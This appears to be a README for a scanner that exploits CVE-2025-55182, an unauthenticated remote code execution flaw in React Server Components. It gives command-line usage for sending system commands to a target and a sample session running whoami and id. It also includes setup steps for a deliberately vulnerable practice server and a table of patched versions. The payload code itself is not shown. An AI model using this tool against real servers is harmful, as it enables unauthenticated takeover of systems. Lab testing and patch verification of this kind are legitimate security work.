
CVE-2025-55182 React RCE Test Program
CVE-2025-55182 React RCE Test Program
This script is a vulnerability verification tool targeting CVE-2025-55182, a critical remote code execution (RCE) vulnerability in React 19.x's React Server Components (RSC) .
This tool determines whether the vulnerability exists on a real server and, depending on options, can execute commands, log outputs, or test using the two-stage RCE method (module#_load) .
⚠️ This tool must only be used in closed test environments for security auditing and vulnerability verification purposes .
| Item | Description |
|---|---|
| Vulnerability ID | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Vulnerability Name | React2Shell |
| Vulnerability Type | Remote Code Execution (RCE) – No authentication required |
| Severity (CVSS) | 10.0 (Critical) |
| Discovered Date | 2025-11-29 (Lachlan Davidson) |
| Attack Complexity | Very Low (Log4Shell level) |
| Vulnerability Description | A structural RCE vulnerability in Flight deserialization processing that allows access to the prototype chain (constructor, __proto__) through bracket notation in the requireModule() function |
✅ Projects that include RSC functionality must also upgrade the
react-server-dom-*modules to the latest version separately from React to be safe.
CVE-2025-55182/
├── README.md # Full overview and scanner usage
├── DETECTION_RULES.md # Detection/blocking rules collection
├── 설명 및 탐지규칙.md # Korean detection rules explanation
├── cve_2025_55182_interactive.py # RCE verification scanner script
├── requirements.txt # Scanner dependency list
├── setup_vulnerable_env.sh # One-click vulnerable environment setup script
├── uninstall_vulnerable_env.sh # Vulnerable environment cleanup/removal script
└── vulnerable-react-env/ # React2Shell vulnerable server practice code
├── README.md # Practice environment usage
├── package.json # npm scripts and dependencies
├── server.js # Vulnerable Express backend
├── public/
│ └── index.html # CDN-based React frontend
└── .gitignore
✅ Interactively test whether RCE is possible on a vulnerable server
✅ Supports child_process#execSync (default) or module#_load method
✅ Save command execution results to a log file
✅ Send user-entered system commands to the server
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
Basic RCE test (execSync method)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceTwo-stage RCE test (module#_load method)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRSC-based RCE test (--rce2 option)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Save command execution results to log
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logFull feature usage (method + log)
The vulnerable-react-env folder contains an intentionally vulnerable React + Express server that can reproduce CVE-2025-55182.
./setup_vulnerable_env.sh will complete apt package installation → nvm/Node.js 20 installation → npm install in one go.cd vulnerable-react-env && npm start or npm run dev.npm run will just list the scripts. Be sure to specify the script name like npm start (or npm run start)../uninstall_vulnerable_env.sh to remove node_modules, moduleLoad payload, and (optionally) Node 20 and nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express' occur, run cd vulnerable-react-env && npm install to install node_modules, then run npm start again.sudo apt update && sudo apt install -y curl build-essential⚠️ For research/educational purposes only. Do not expose to the internet.
💬 Enter system command: whoami
✅ Response code: 200
📄 Response content: {"success":true,"result":"www-data"}
💬 Enter system command: id
✅ Response code: 200
📄 Response content: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Enter system command: exit
👋 Exiting.
❌ Never use in production environments.
✅ This script must only be used in a local test environment or an isolated VM.
🛠️ The --method moduleLoad method creates an actual file at /tmp/evil.js.
🧾 When using the --log option, output results are stored in plaintext, so restrict file access.
🔐 All requests verify that actual JavaScript code is executed on the vulnerable server.
Official CVE: CVE-2025-55182
Exploit methods:
Attack flow:
This project is provided solely for security research, auditing, and testing purposes.
Unauthorized use against real systems is illegal.
All legal responsibility arising from the use of this tool lies with the user.
| Product/Tool | Vulnerable Version | Patched Version |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | Same as above (↑) | Same as above |
| react-server-dom-parcel | Same as above (↑) | Same as above |
| react-server-dom-turbopack | Same as above (↑) | Same as above |
| Next.js 14 | Some versions from 14.3.0.canary.77 and above | (Unofficially) recommend upgrading to 15.0.5 or above |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Other tools | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin, etc. | Requires patching RSC dependencies of the respective projects |
moduleLoad method together with log savingpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logPayload debugging output
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (default port: 3000)http://localhost:3000 in a browser, then send _payload and cmd via the formvulnerable-react-env/README.md